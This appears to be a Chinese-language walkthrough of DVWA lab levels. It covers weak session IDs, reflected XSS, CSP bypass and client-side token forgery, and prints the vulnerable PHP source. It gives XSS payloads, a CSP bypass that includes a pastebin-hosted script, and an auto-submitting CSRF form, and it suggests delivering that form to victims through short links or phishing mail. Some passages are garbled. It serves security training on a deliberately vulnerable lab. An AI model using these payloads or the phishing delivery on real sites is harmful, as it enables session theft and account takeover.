setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
源码中暴露的问题:
将session值+1,再进行一次MD5加密,并给一个有效时限
可以根据特征判断出是MD5,找到session生成规律伪造session
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
随机数+时间戳+特定字符,再加上有效期,难以找到规律伪造session
用户输入的数据被当作前端代码执行。
- 窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
- 窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
- 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
- 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
查看源码:
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo 'Hello '
. $_GET[ 'name' ] . '
';
}
源码中暴露的问题:
对 n a m e 的 传 参 没 有 做 任 何 的 过 滤 , 只 是 检 测 了 name的传参没有做任何的过滤,只是检测了 name的传参没有做任何的过滤,只是检测了name存在且不为空就直接输出在网页中
<script>alert('1')</script>
查看源码:
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '
";
}
$page[ 'body' ] .= '
';
从源码中卡可以看出白名单的网址如下:
https://pastebin.com hastebin.com example.com code.jquery.com
https://ssl.google-analytics.com
alert(doucument.cookie)
将网址 https://pastebin.com/raw/Bma7kwXL 填写到文本框中 然后点击 include 即可将这个文件包含进来,从而触发 XSS:
。。这里我尝试多个浏览器都无法弹窗,网上有人说这个网站是米国的访问比较慢,但是我一次都没成功过
查看网页源码会发现刚刚的网址被SRC给引用进来了
还可以配合CSRF让攻击更加自动化:
<form method="POST" action="http://127.0.0.1/i/DVWA-master/vulnerabilities/csp/" id="csp">
<input type="text" name="include" value="">
form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/ZFnbmjBU";
form.submit();
script>
将.html上传到服务器,想办法让受害者访问,就会自动触发CSRF和XSS攻击(短网址,邮件钓鱼)
查看源码:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// 关掉 XSS 防护 让 alert 可以顺利执行
header ("X-XSS-Protection: 0");
#
?>
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
script-src还可以设置一些特殊值。
unsafe-inline:允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce:每次HTTP回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行
hash:列出允许执行的脚本代码的 Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
这一个关卡使用来了 unsafe-inline 和 nonce ,所以页面内嵌脚本,必须有这个token才能执行:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)script>
CSP规则十分苛刻,只允许self的脚本执行(代码审计)
JSONP被写死
JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。
查看源码:
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
主要是通过JS再浏览器前端生成了token
再查看inde.php的源码:
$message = "";
// Check whwat was sent in to see if it was what was expected
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {
$phrase = $_POST['phrase'];
$token = $_POST['token'];
if ($phrase == "success") {
switch( $_COOKIE[ 'security' ] ) {
case 'low':
if ($token == md5(str_rot13("success"))) {
$message = "Well done!
";
} else {
$message = "Invalid token.
";
}
$phrase 和 $token均从用户的POST方式获取,如果 if($phrase == “success”),且token正确,就输出 Well done!
当提交表单时,token和phrase就会提交,但这里的token是错误的,需要手将ChangeMe修改为success才可以拿到正确的token:
查看源码:
$page[ 'body' ] .= <<<EOF
EOF;
跟进high.js发现代码被混淆,使用在线解码工具:http://deobfuscatejavascript.com/#
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
首先将phrase的值初始化为空,这里是关键后面需要把这里直接console设置为success:
document.getElementById("phrase").value = "";
然后执行:
token_part_1("ABCD", 44);
此时调用do_something函数将参数e逆序处理:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
延迟300秒后执行token_part_2(”XX“)再将生成的sha256值赋给token:
ecc76c19c9f3c5108773d6c3a18a6c25c9bf1131c4e250b71213274e3b2b5d08
当点击提交时会触发click事件然后调用token_part_3函数
通过分析代码的流程发现输入的success没有传进函数中执行,下面开始调试。
首先选中右侧mouse监听click事件,此时浏览器会自动解码JS,然后在token_part_1下断点:
此时取消mouse的click,重新刷新页面,然后去控制台里设置phrase的值:
document.getElementById("phrase").value = "success";
直接删除了用户可以输入的地方
https://www.freebuf.com/articles/web/119692.html(Insecure CAPTCHA)
http://www.ruanyifeng.com/blog/2016/09/csp.html(Content Security Policy)
https://www.cnblogs.com/someone9/p/9180218.html(文件上传漏洞)
https://www.wuyini.cn/672.html#toc-head-30(DVWA靶场通关)